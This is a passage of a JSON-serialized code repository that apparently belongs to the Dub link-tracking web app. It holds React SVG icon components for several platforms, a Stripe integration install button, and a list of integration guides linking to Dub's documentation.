d=\"M17.4905 21.4614C16.8636 21.5168 15.278 21.2402 14.5036 20.5764C13.6722 19.8637 13.2314 18.9171 13.2314 17.5342C13.2314 15.8187 14.7802 13.9943 16.9374 14.0496C18.9863 14.1021 20.3682 15.257 20.6433 17.0917C20.787 18.0492 20.6406 18.5094 20.5268 18.8668C20.5092 18.9225 20.4923 18.9756 20.4775 19.0277C20.4221 19.2121 20.3447 19.614 20.4775 19.7468C20.6101 19.8795 22.6345 21.8302 23.6302 22.7889C23.7223 22.8995 23.9068 23.1761 23.9068 23.3973V24.4483C23.9068 24.6142 23.8625 24.6695 23.6856 24.6695H21.473C21.344 24.6511 21.0858 24.5258 21.0858 24.1718C21.0858 23.7944 21.0456 23.7389 20.9651 23.6277C20.9513 23.6085 20.9361 23.5877 20.9199 23.5633C20.8092 23.3973 20.588 23.3973 20.3668 23.3973C20.1456 23.3973 19.9795 23.342 19.869 23.2314C19.7583 23.1208 19.7583 22.9549 19.8137 22.7337C19.869 22.5123 19.8137 22.2911 19.703 22.2358C19.6854 22.227 19.6651 22.2154 19.6421 22.2023C19.5208 22.1333 19.3271 22.0233 19.0945 22.0699C18.818 22.1252 18.4308 22.0699 18.2095 21.8487C17.9883 21.6273 17.7117 21.4487 17.4905 21.4614ZM15.997 17.2578C16.4553 17.2578 16.8267 16.8863 16.8267 16.4281C16.8267 15.9699 16.4553 15.5984 15.997 15.5984C15.5388 15.5984 15.1673 15.9699 15.1673 16.4281C15.1673 16.8863 15.5388 17.2578 15.997 17.2578Z\"\n          fill=\"url(#paint3_linear_18024_112096)\"\n        />\n      </g>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_18024_112096\"\n          x1=\"4.27054\"\n          y1=\"16.649\"\n          x2=\"17.7115\"\n          y2=\"2.59969\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#45FFC8\" />\n          <stop offset=\"1\" stopColor=\"#1DBBF1\" />\n        </linearGradient>\n        <linearGradient\n          id=\"paint1_linear_18024_112096\"\n          x1=\"13.618\"\n          y1=\"24.78\"\n          x2=\"30.3224\"\n          y2=\"32.911\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#D14AE8\" />\n          <stop offset=\"0.552228\" stopColor=\"#B628E3\" />\n          <stop offset=\"1\" stopColor=\"#8315FD\" />\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_18024_112096\"\n          x1=\"27.7784\"\n          y1=\"3.76124\"\n          x2=\"27.7784\"\n          y2=\"31.4728\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#20ABF5\" />\n          <stop offset=\"0.398093\" stopColor=\"#2A8CC3\" />\n          <stop offset=\"1\" stopColor=\"#A104DC\" />\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_18024_112096\"\n          x1=\"16.4396\"\n          y1=\"17.1471\"\n          x2=\"23.1877\"\n          y2=\"23.9506\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#FE5B01\" />\n          <stop offset=\"1\" stopColor=\"#FFB200\" />\n        </linearGradient>\n        <clipPath id=\"clip0_18024_112096\">\n          <rect\n            width=\"36.2069\"\n            height=\"40\"\n            fill=\"white\"\n            transform=\"translate(0.896484)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/react.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function React(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"46\"\n      height=\"40\"\n      viewBox=\"0 0 46 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_18024_111663)\">\n        <path\n          d=\"M23.0781 15.7031C20.7266 15.7031 18.8203 17.6094 18.8203 19.9609C18.8203 22.3125 20.7266 24.2188 23.0781 24.2188C25.4296 24.2188 27.3359 22.3125 27.3359 19.9609C27.3359 17.6094 25.4296 15.7031 23.0781 15.7031Z\"\n          fill=\"#087EA4\"\n        />\n        <path\n          d=\"M45.2234 19.9996C45.2234 16.6568 42.128 13.7251 37.1993 11.7957C37.2652 11.3612 37.3248 10.9314 37.3671 10.5095C37.8533 5.70637 36.696 2.23974 34.1101 0.746417C31.217 -0.924154 27.1304 0.288383 22.9984 3.59502C18.8664 0.288383 14.7799 -0.924154 11.8867 0.746417C9.30089 2.23974 8.14361 5.70637 8.62973 10.5095C8.67207 10.9314 8.73009 11.3628 8.79752 11.7989C8.38667 11.9557 7.98366 12.122 7.59634 12.2961C3.19619 14.2741 0.773438 17.0129 0.773438 19.9996C0.773438 23.3423 3.86891 26.274 8.79752 28.2034C8.73009 28.6379 8.67207 29.0677 8.62973 29.4897C8.14361 34.2928 9.30089 37.7594 11.8867 39.2527C12.7758 39.7568 13.7832 40.0146 14.805 39.9994C17.2544 39.9994 20.1147 38.71 22.9984 36.4041C25.8806 38.71 28.7425 39.9994 31.195 39.9994C32.2168 40.0144 33.2242 39.7566 34.1133 39.2527C36.6991 37.7594 37.8564 34.2928 37.3703 29.4897C37.3279 29.0677 37.2683 28.6379 37.2025 28.2034C42.1311 26.2771 45.2266 23.3407 45.2266 19.9996M31.1762 2.11738C31.8332 2.10153 32.4826 2.26069 33.0579 2.57856C34.8534 3.61541 35.6595 6.42793 35.2674 10.2946C35.2408 10.5581 35.2094 10.8247 35.1718 11.093C33.1224 10.4756 31.0239 10.0353 28.8993 9.77692C27.6113 8.06438 26.1791 6.46535 24.6183 4.99736C27.0693 3.10247 29.3697 2.11738 31.1746 2.11738M30.3325 24.2348C29.5394 25.6118 28.6758 26.9469 27.7451 28.2348C26.1676 28.3969 24.5827 28.4775 22.9969 28.4764C21.4115 28.4774 19.8272 28.3968 18.2502 28.2348C17.3219 26.9468 16.4609 25.6117 15.6706 24.2348C14.8775 22.8617 14.1568 21.448 13.5113 19.9996C14.1568 18.5511 14.8775 17.1375 15.6706 15.7643C16.4597 14.3929 17.318 13.0626 18.2423 11.7785C19.8222 11.6124 21.4098 11.5296 22.9984 11.5306C24.5838 11.5297 26.1681 11.6103 27.7451 11.7722C28.6726 13.0583 29.5341 14.3907 30.3263 15.7643C31.1187 17.1378 31.8394 18.5514 32.4856 19.9996C31.8394 21.4477 31.1187 22.8613 30.3263 24.2348M33.5644 22.6662C34.0621 24.0237 34.4707 25.4123 34.7876 26.823C33.4125 27.2518 32.0107 27.5898 30.5913 27.8348C31.1307 27.0212 31.6534 26.1747 32.1594 25.2952C32.6596 24.4262 33.1285 23.5493 33.5707 22.6725M20.0206 30.4983C20.9959 30.5579 21.9917 30.5924 23 30.5924C24.0083 30.5924 25.0103 30.5579 25.9873 30.4983C25.061 31.6081 24.0631 32.6561 23 33.6355C21.9392 32.6562 20.9439 31.6082 20.0206 30.4983ZM15.4072 27.8316C13.9873 27.5878 12.585 27.2509 11.2093 26.823C11.5249 25.4145 11.9319 24.0281 12.4277 22.6725C12.8637 23.5493 13.331 24.4262 13.839 25.2952C14.3471 26.1642 14.8724 27.0207 15.4072 27.8348M12.4277 17.3251C11.9337 15.9745 11.5277 14.5933 11.2124 13.1902C12.5847 12.7619 13.9833 12.4229 15.3993 12.1753C14.863 12.9863 14.3377 13.8271 13.8312 14.7039C13.3247 15.5808 12.8621 16.4467 12.4199 17.3251M25.9779 9.49927C25.0025 9.43966 24.0067 9.40516 22.9906 9.40516C21.9828 9.40516 20.9897 9.43653 20.0112 9.49927C20.9345 8.38934 21.9298 7.34134 22.9906 6.36205C24.0541 7.34108 25.052 8.38909 25.9779 9.49927ZM32.1563 14.7039C31.6482 13.8234 31.1229 12.9764 30.5803 12.1628C32.0035 12.4077 33.4089 12.7462 34.7876 13.1761C34.4712 14.5844 34.0643 15.9708 33.5691 17.3266C33.1332 16.4498 32.6643 15.5729 32.1578 14.7055M10.7357 10.2961C10.339 6.43107 11.1497 3.61698 12.9436 2.58012C13.5191 2.26275 14.1684 2.10363 14.8254 2.11895C16.6303 2.11895 18.9307 3.10404 21.3817 4.99892C19.8199 6.46796 18.3866 8.06803 17.0976 9.78162C14.9736 10.0413 12.8753 10.4799 10.8251 11.093C10.789 10.8247 10.7561 10.5597 10.731 10.2961M8.46508 14.2271C8.70657 14.1225 8.95276 14.0179 9.20366 13.9133C9.69692 15.995 10.3658 18.031 11.203 19.9996C10.3642 21.972 9.69479 24.0123 9.20209 26.0983C5.20652 24.4591 2.8904 22.1878 2.8904 19.9996C2.8904 17.9259 4.92896 15.8223 8.46508 14.2271ZM12.9436 37.419C11.1497 36.3821 10.339 33.5681 10.7357 29.703C10.7608 29.4395 10.7937 29.1744 10.8298 28.9046C12.8792 29.5218 14.9777 29.9621 17.1023 30.2206C18.3906 31.9338 19.8228 33.5338 21.3833 35.0033C17.9663 37.6433 14.8442 38.5139 12.9483 37.419M35.2659 29.703C35.6579 33.5696 34.8519 36.3821 33.0564 37.419C31.1621 38.517 28.0384 37.6433 24.623 35.0033C26.1829 33.5338 27.6146 31.9338 28.9024 30.2206C31.027 29.9622 33.1256 29.5219 35.1749 28.9046C35.2125 29.1744 35.2439 29.4395 35.2706 29.703M36.8042 26.0952C36.3101 24.0104 35.6402 21.9712 34.8017 19.9996C35.6398 18.0269 36.3092 15.9866 36.8026 13.9008C40.7903 15.54 43.1127 17.8113 43.1127 19.9996C43.1127 22.1878 40.7966 24.4591 36.801 26.0983\"\n          fill=\"#087EA4\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_18024_111663\">\n          <rect\n            width=\"44.4531\"\n            height=\"40\"\n            fill=\"white\"\n            transform=\"translate(0.773438)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/segment.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Segment(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"40\"\n      height=\"40\"\n      viewBox=\"0 0 40 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M7.0937 31.1293C5.84353 31.1293 4.82776 32.145 4.82776 33.3952C4.82776 34.6454 5.84353 35.6611 7.0937 35.6611C8.34387 35.6611 9.35963 34.6454 9.35963 33.3952C9.35963 32.145 8.34387 31.1293 7.0937 31.1293ZM32.0893 3.74271C30.8391 3.74271 29.8156 4.75066 29.8156 6.00864C29.8156 7.25881 30.8235 8.28239 32.0815 8.28239C33.3317 8.28239 34.3552 7.27444 34.3552 6.01646V6.00864C34.3552 4.75847 33.3395 3.74271 32.0893 3.74271ZM15.673 12.9002V15.6818C15.673 16.096 16.009 16.4398 16.4309 16.4398H38.8871C39.3012 16.4398 39.645 16.1038 39.645 15.6818V12.9002C39.645 12.4861 39.3012 12.1423 38.8871 12.1423H16.4309C16.009 12.1501 15.673 12.4861 15.673 12.9002ZM24.3148 25.7223V22.9485C24.3148 22.5343 23.9788 22.1905 23.5569 22.1905H1.10069C0.686571 22.1905 0.342773 22.5265 0.342773 22.9485V25.7223C0.342773 26.1364 0.678758 26.4802 1.10069 26.4802H23.5569C23.9788 26.4802 24.3148 26.1442 24.3148 25.7223ZM39.4731 21.9874C39.3481 21.8311 39.1762 21.7295 38.9731 21.7061L36.2149 21.4248C35.8086 21.3779 35.4413 21.667 35.3866 22.0733C34.2302 30.6839 26.2995 36.7316 17.6889 35.5674C16.4934 35.4033 15.3214 35.1064 14.1962 34.6844C13.8134 34.536 13.3836 34.7157 13.2352 35.0986L12.1803 37.6536C12.1022 37.8411 12.1022 38.0521 12.1803 38.2396C12.2585 38.4271 12.4147 38.5834 12.6101 38.6537C22.9162 42.6308 34.5037 37.4973 38.4808 27.1912C39.059 25.6988 39.4497 24.1439 39.6528 22.5578C39.6763 22.3468 39.6138 22.1437 39.4731 21.9874ZM0.506859 15.6115C0.397469 15.4396 0.366214 15.2287 0.420909 15.0333C2.68684 6.18054 10.6645 -0.00780618 19.7986 7.39077e-06C22.0332 7.39077e-06 24.2601 0.367244 26.3698 1.10953C26.7605 1.23455 26.9792 1.65648 26.8542 2.04716C26.8464 2.06279 26.8386 2.08623 26.8308 2.10186L25.8385 4.69596C25.6978 5.07883 25.2759 5.28198 24.893 5.14134C23.2522 4.57876 21.5254 4.29747 19.7908 4.29747C16.1965 4.28184 12.7117 5.50857 9.92221 7.77451C7.30467 9.89199 5.43722 12.7908 4.57773 16.0413C4.49178 16.3694 4.19486 16.6038 3.85107 16.6038C3.79637 16.6117 3.73386 16.6117 3.67917 16.6038L0.975673 15.9866C0.77252 15.9241 0.608435 15.7912 0.506859 15.6115Z\"\n        fill=\"#52BD94\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/shopify.tsx",
    "content": "import { SVGProps, useId } from \"react\";\n\nexport function Shopify(props: SVGProps<SVGSVGElement>) {\n  const id = useId();\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"40\"\n      height=\"48\"\n      fill=\"none\"\n      viewBox=\"0 0 40 48\"\n      {...props}\n    >\n      <mask\n        id={`${id}-mask`}\n        width=\"40\"\n        height=\"46\"\n        x=\"0\"\n        y=\"1\"\n        maskUnits=\"userSpaceOnUse\"\n        style={{ maskType: \"luminance\" }}\n      >\n        <path fill=\"#fff\" d=\"M0 1.203h40v45.62H0z\"></path>\n      </mask>\n      <g mask={`url(#${id}-mask)`}>\n        <path\n          fill=\"#95BF46\"\n          d=\"M34.965 10.162a.44.44 0 0 0-.397-.368c-.165-.014-3.653-.273-3.653-.273l-2.69-2.671c-.265-.267-.785-.186-.987-.126-.03.008-.53.163-1.356.418-.81-2.329-2.238-4.469-4.75-4.469q-.105 0-.213.007c-.714-.945-1.6-1.356-2.364-1.356-5.854 0-8.651 7.318-9.528 11.037L4.93 13.63c-1.27.399-1.31.439-1.476 1.635-.126.906-3.448 26.598-3.448 26.598l25.887 4.85L39.92 43.68s-4.925-33.29-4.955-33.518M24.45 7.585l-2.19.678.002-.472c0-1.448-.201-2.613-.524-3.537 1.295.162 2.157 1.636 2.712 3.331m-4.318-3.044c.36.902.594 2.196.594 3.943 0 .09 0 .171-.002.254l-4.523 1.4c.87-3.361 2.503-4.985 3.931-5.597m-1.74-1.647c.253 0 .508.086.752.254-1.876.883-3.887 3.106-4.737 7.546l-3.576 1.108c.995-3.387 3.357-8.908 7.562-8.908\"\n        ></path>\n        <path\n          fill=\"#5E8E3E\"\n          d=\"M34.568 9.794c-.165-.014-3.654-.273-3.654-.273s-2.423-2.405-2.689-2.672a.66.66 0 0 0-.374-.171l-1.957 40.036 14.025-3.034s-4.924-33.29-4.955-33.518a.44.44 0 0 0-.396-.368\"\n        ></path>\n        <path\n          fill=\"#fff\"\n          d=\"m21.131 17.544-1.73 5.145s-1.515-.81-3.372-.81c-2.723 0-2.86 1.71-2.86 2.14 0 2.35 6.125 3.25 6.125 8.754 0 4.33-2.747 7.118-6.45 7.118-4.444 0-6.716-2.765-6.716-2.765l1.19-3.931S9.654 35.2 11.625 35.2c1.288 0 1.812-1.014 1.812-1.755 0-3.065-5.025-3.202-5.025-8.238 0-4.239 3.042-8.341 9.184-8.341 2.366 0 3.535.678 3.535.678\"\n        ></path>\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/supabase.tsx",
    "content": "import { SVGProps, useId } from \"react\";\n\nexport function Supabase(props: SVGProps<SVGSVGElement>) {\n  const id = useId();\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"41\"\n      height=\"40\"\n      fill=\"none\"\n      viewBox=\"0 0 41 40\"\n      {...props}\n    >\n      <path\n        fill={`url(#${id}-a)`}\n        d=\"M23.028 37.723c-.939 1.18-2.842.534-2.864-.973l-.331-22.031h14.843c2.688 0 4.188 3.099 2.516 5.2z\"\n      ></path>\n      <path\n        fill={`url(#${id}-b)`}\n        fillOpacity=\"0.2\"\n        d=\"M23.028 37.723c-.939 1.18-2.842.534-2.864-.973l-.331-22.031h14.843c2.688 0 4.188 3.099 2.516 5.2z\"\n      ></path>\n      <path\n        fill=\"#3ECF8E\"\n        d=\"M16.991 2.277c.939-1.18 2.842-.533 2.864.973L20 25.282H5.343c-2.688 0-4.188-3.1-2.516-5.2z\"\n      ></path>\n      <defs>\n        <linearGradient\n          id={`${id}-a`}\n          x1=\"19.833\"\n          x2=\"33.017\"\n          y1=\"19.604\"\n          y2=\"25.144\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#249361\"></stop>\n          <stop offset=\"1\" stopColor=\"#3ECF8E\"></stop>\n        </linearGradient>\n        <linearGradient\n          id={`${id}-b`}\n          x1=\"13.985\"\n          x2=\"19.983\"\n          y1=\"11.611\"\n          y2=\"22.924\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop></stop>\n          <stop offset=\"1\" stopOpacity=\"0\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/webflow.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Webflow(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"52\"\n      height=\"32\"\n      viewBox=\"0 0 52 32\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        id=\"Vector\"\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M51.499 0L35.2256 31.985H19.9402L26.7506 18.7291H26.4451C20.8265 26.0621 12.4435 30.8895 0.499023 31.985V18.9125C0.499023 18.9125 8.14022 18.4587 12.6322 13.7104H0.499023V0.000251632H14.1355V11.2767L14.4415 11.2754L20.0138 0.000251632H30.3267V11.2052L30.6328 11.2047L36.4141 0H51.499Z\"\n        fill=\"#146EF5\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/wordpress.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Wordpress(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"40\"\n      height=\"40\"\n      viewBox=\"0 0 40 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_18024_111652)\">\n        <path\n          d=\"M2.84375 19.9996C2.84375 26.7908 6.79044 32.6598 12.5134 35.441L4.32919 13.0171C3.3772 15.1509 2.84375 17.5122 2.84375 19.9996Z\"\n          fill=\"#21759B\"\n        />\n        <path\n          d=\"M31.5828 19.1336C31.5828 17.0132 30.8211 15.5447 30.1679 14.4017C29.2982 12.9885 28.483 11.7916 28.483 10.3783C28.483 8.80117 29.6791 7.33303 31.364 7.33303C31.4401 7.33303 31.5123 7.3425 31.5864 7.34674C28.5339 4.55021 24.4671 2.84277 20.0003 2.84277C14.0063 2.84277 8.73287 5.91811 5.66504 10.5762C6.06758 10.5883 6.44693 10.5967 6.76916 10.5967C8.56376 10.5967 11.3417 10.379 11.3417 10.379C12.2666 10.3245 12.3756 11.6829 11.4517 11.7923C11.4517 11.7923 10.5222 11.9016 9.48799 11.9558L15.736 30.5401L19.4907 19.2792L16.8176 11.9552C15.8937 11.901 15.0184 11.7916 15.0184 11.7916C14.0938 11.7374 14.2022 10.3238 15.1268 10.3783C15.1268 10.3783 17.9602 10.5961 19.6461 10.5961C21.4404 10.5961 24.2186 10.3783 24.2186 10.3783C25.1442 10.3238 25.2529 11.6823 24.3286 11.7916C24.3286 11.7916 23.3972 11.901 22.3649 11.9552L28.5652 30.3987L30.2766 24.68C31.0183 22.3069 31.5828 20.6024 31.5828 19.1336Z\"\n          fill=\"#21759B\"\n        />\n        <path\n          d=\"M20.3021 21.5005L15.1543 36.459C16.6913 36.9108 18.3168 37.158 20.0011 37.158C21.9991 37.158 23.9151 36.8125 25.6986 36.1854C25.6526 36.1119 25.6108 36.0339 25.5765 35.949L20.3021 21.5005Z\"\n          fill=\"#21759B\"\n        />\n        <path\n          d=\"M35.0558 11.7681C35.1296 12.3146 35.1714 12.9012 35.1714 13.5323C35.1714 15.2734 34.8462 17.2306 33.8668 19.6778L28.626 34.8302C33.7267 31.8557 37.1576 26.3296 37.1576 20C37.1579 17.017 36.3959 14.212 35.0558 11.7681Z\"\n          fill=\"#21759B\"\n        />\n        <path\n          d=\"M20.0002 0C8.97236 0 0 8.9717 0 19.9995C0 31.0286 8.97236 40 20.0002 40C31.0276 40 40.0013 31.0286 40.0013 19.9995C40.001 8.9717 31.0276 0 20.0002 0ZM20.0002 39.0833C9.47806 39.0833 0.917052 30.5223 0.917052 19.9995C0.917052 9.4774 9.47773 0.917052 20.0002 0.917052C30.5219 0.917052 39.0823 9.4774 39.0823 19.9995C39.0823 30.5223 30.5219 39.0833 20.0002 39.0833Z\"\n          fill=\"#21759B\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_18024_111652\">\n          <rect width=\"40\" height=\"40\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/install-stripe-integration-button.tsx",
    "content": "import useIntegrations from \"@/lib/swr/use-integrations\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  AnimatedSizeContainer,\n  CircleCheck,\n  LoadingCircle,\n  LoadingSpinner,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useEffect, useState } from \"react\";\n\nexport function InstallStripeIntegrationButton() {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const [isClicked, setIsClicked] = useState(false);\n  const [isEnabled, setIsEnabled] = useState<boolean | null>(null);\n\n  const { integrations: activeIntegrations, loading } = useIntegrations({\n    swrOpts: {\n      revalidateOnFocus: !isEnabled,\n      // Keep refreshing if the integration isn't enabled yet, most frequently if the user has clicked the button\n      refreshInterval: !isEnabled ? (isClicked ? 1000 : 5000) : undefined,\n    },\n  });\n\n  useEffect(() => {\n    if (activeIntegrations)\n      setIsEnabled(activeIntegrations.some((ai) => ai.slug === \"stripe\"));\n  }, [activeIntegrations]);\n\n  return (\n    <AnimatedSizeContainer\n      height\n      transition={{ ease: \"easeInOut\", duration: 0.2 }}\n    >\n      <div\n        className={cn(\n          \"bg-bg-subtle rounded-xl p-2 transition-colors\",\n          isEnabled && \"bg-green-50\",\n        )}\n      >\n        {loading ? (\n          <div className=\"flex h-4 items-center justify-center\">\n            <LoadingSpinner className=\"size-3.5\" />\n          </div>\n        ) : isEnabled ? (\n          <div className=\"flex items-center justify-center gap-2 text-xs font-medium text-green-800\">\n            <CircleCheck className=\"size-3.5\" />\n            <span>Stripe integration installed</span>\n          </div>\n        ) : (\n          <>\n            <p className=\"text-content-default text-center text-xs font-medium\">\n              Required first step\n            </p>\n            <Link\n              href={`/${workspaceSlug}/settings/integrations/stripe`}\n              target=\"_blank\"\n              onMouseDown={(e) => {\n                if (e.button === 0 || e.button === 1) setIsClicked(true);\n              }}\n              className=\"text-content-inverted mt-2 flex h-10 w-full items-center justify-center gap-2 rounded-lg bg-indigo-600 px-4 text-sm font-medium transition-colors hover:bg-indigo-700\"\n            >\n              {isClicked && (\n                <LoadingCircle className=\"size-4 opacity-60 mix-blend-screen\" />\n              )}\n              Install Stripe integration\n            </Link>\n          </>\n        )}\n      </div>\n    </AnimatedSizeContainer>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/integrations.ts",
    "content": "import { Appwrite } from \"@/ui/guides/icons/appwrite\";\nimport { Auth0 } from \"@/ui/guides/icons/auth0\";\nimport { BetterAuth } from \"@/ui/guides/icons/better-auth\";\nimport { Clerk } from \"@/ui/guides/icons/clerk\";\nimport { CodeEditor } from \"@/ui/guides/icons/code-editor\";\nimport { Framer } from \"@/ui/guides/icons/framer\";\nimport { GoogleTagManager } from \"@/ui/guides/icons/gtm\";\nimport { NextAuth } from \"@/ui/guides/icons/next-auth\";\nimport { React } from \"@/ui/guides/icons/react\";\nimport { Segment } from \"@/ui/guides/icons/segment\";\nimport { Shopify } from \"@/ui/guides/icons/shopify\";\nimport { Supabase } from \"@/ui/guides/icons/supabase\";\nimport { Webflow } from \"@/ui/guides/icons/webflow\";\nimport { Wordpress } from \"@/ui/guides/icons/wordpress\";\nimport { StripeIcon } from \"@dub/ui/icons\";\n\nexport type IntegrationType = \"client-sdk\" | \"track-lead\" | \"track-sale\";\n\nexport type IntegrationGuide = {\n  type: IntegrationType;\n  key: string;\n  title: string;\n  description?: string;\n  subtitle?: string;\n  icon: any;\n  iconProps?: {\n    fullSize?: boolean;\n  };\n  recommended?: boolean;\n  content?: string;\n  url: string;\n};\n\nexport const sections: {\n  type: IntegrationType;\n  title: string;\n  description: string;\n}[] = [\n  {\n    type: \"client-sdk\",\n    title: \"Install client-side script\",\n    description:\n      \"First, you need to install Dub's client-side script, which enables Dub to track click events and store them as a first-party cookie on your site.\",\n  },\n  {\n    type: \"track-lead\",\n    title: \"Track lead events\",\n    description:\n      \"Then, you'll track a lead event (e.g. when a user signs up for an account on your application) using our server-side SDKs or REST API.\",\n  },\n  {\n    type: \"track-sale\",\n    title: \"Track sale events\",\n    description:\n      \"Finally, you can use our Stripe integration or server-side SDKs to track sale events (e.g. when a user purchases a product on your application).\",\n  },\n];\n\nexport const guides: IntegrationGuide[] = [\n  // Client SDK\n  {\n    type: \"client-sdk\",\n    key: \"react\",\n    title: \"React\",\n    icon: React,\n    url: \"https://dub.co/docs/sdks/client-side/installation-guides/react\",\n  },\n  {\n    type: \"client-sdk\",\n    key: \"framer\",\n    title: \"Framer\",\n    icon: Framer,\n    url: \"https://dub.co/docs/sdks/client-side/installation-guides/framer\",\n  },\n  {\n    type: \"client-sdk\",\n    key: \"shopify\",\n    title: \"Shopify\",\n    icon: Shopify,\n    url: \"https://dub.co/docs/sdks/client-side/installation-guides/shopify\",\n  },\n  {\n    type: \"client-sdk\",\n    key: \"wordpress\",\n    title: \"WordPress\",\n    icon: Wordpress,\n    url: \"https://dub.co/docs/sdks/client-side/installation-guides/wordpress\",\n  },\n  {\n    type: \"client-sdk\",\n    key: \"webflow\",\n    title: \"Webflow\",\n    icon: Webflow,\n    url: \"https://dub.co/docs/sdks/client-side/installation-guides/webflow\",\n  },\n  {\n    type: \"client-sdk\",\n    key: \"gtm-client-sdk\",\n    title: \"Google Tag Manager\",\n    icon: GoogleTagManager,\n    url: \"https://dub.co/docs/sdks/client-side/installation-guides/google-tag-manager\",\n  },\n  {\n    type: \"client-sdk\",\n    key: \"manual-client-sdk\",\n    title: \"Manual Installation\",\n    description: \"Manual Installation\",\n    icon: CodeEditor,\n    url: \"https://dub.co/docs/sdks/client-side/installation-guides/manual\",\n  },\n\n  // Track Leads\n  {\n    type: \"track-lead\",\n    key: \"manual-track-lead\",\n    title: \"Custom Integration\",\n    description: \"Manual Lead Tracking\",\n    icon: CodeEditor,\n    url: \"https://dub.co/docs/conversions/leads/introduction\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"segment-track-lead\",\n    title: \"Segment\",\n    icon: Segment,\n    url: \"https://dub.co/docs/conversions/leads/segment\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"gtm-track-lead\",\n    title: \"Google Tag Manager\",\n    icon: GoogleTagManager,\n    url: \"https://dub.co/docs/conversions/leads/google-tag-manager\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"clerk\",\n    title: \"Clerk\",\n    icon: Clerk,\n    url: \"https://dub.co/docs/conversions/leads/clerk\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"better-auth\",\n    title: \"Better Auth\",\n    icon: BetterAuth,\n    url: \"https://dub.co/docs/conversions/leads/better-auth\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"next-auth\",\n    title: \"NextAuth.js\",\n    icon: NextAuth,\n    url: \"https://dub.co/docs/conversions/leads/next-auth\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"supabase\",\n    title: \"Supabase\",\n    icon: Supabase,\n    url: \"https://dub.co/docs/conversions/leads/supabase\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"auth0\",\n    title: \"Auth0\",\n    icon: Auth0,\n    url: \"https://dub.co/docs/conversions/leads/auth0\",\n  },\n  {\n    type: \"track-lead\",\n    key: \"appwrite\",\n    title: \"Appwrite\",\n    icon: Appwrite,\n    url: \"https://dub.co/docs/conversions/leads/appwrite\",\n  },\n\n  // Track Sales\n  {\n    type: \"track-sale\",\n    key: \"stripe-checkout\",\n    title: \"Stripe\",\n    subtitle: \"Checkout\",\n    recommended: true,\n    description: \"Stripe Checkout\",\n    icon: StripeIcon,\n    iconProps: {\n      fullSize: true,\n    },\n    url: \"https://dub.co/docs/conversions/sales/stripe#option-2%3A-using-stripe-checkout-recommended\",\n  },\n  {\n    type: \"track-sale\",\n    key: \"stripe-payment-links\",\n    title: \"Stripe\",\n    subtitle: \"Payment Links\",\n    description: \"Stripe Payment Links\",\n    icon: StripeIcon,\n    iconProps: {\n      fullSize: true,\n    },\n    url: \"https://dub.co/docs/conversions/sales/stripe#option-1%3A-using-stripe-payment-links\",\n  },\n  {\n    type: \"track-sale\",\n    key: \"stripe-customers\",\n    title: \"Stripe\",\n    subtitle: \"Customers\",\n    description: \"Stripe Customers\",\n    icon: StripeIcon,\n    iconProps: {\n      fullSize: true,\n    },\n    url: \"https://dub.co/docs/conversions/sales/stripe#option-3%3A-using-stripe-customers\",\n  },\n  {\n    type: \"track-sale\",\n    key: \"segment-track-sale\",\n    title: \"Segment\",\n    icon: Segment,\n    url: \"https://dub.co/docs/conversions/sales/segment\",\n  },\n  {\n    type: \"track-sale\",\n    key: 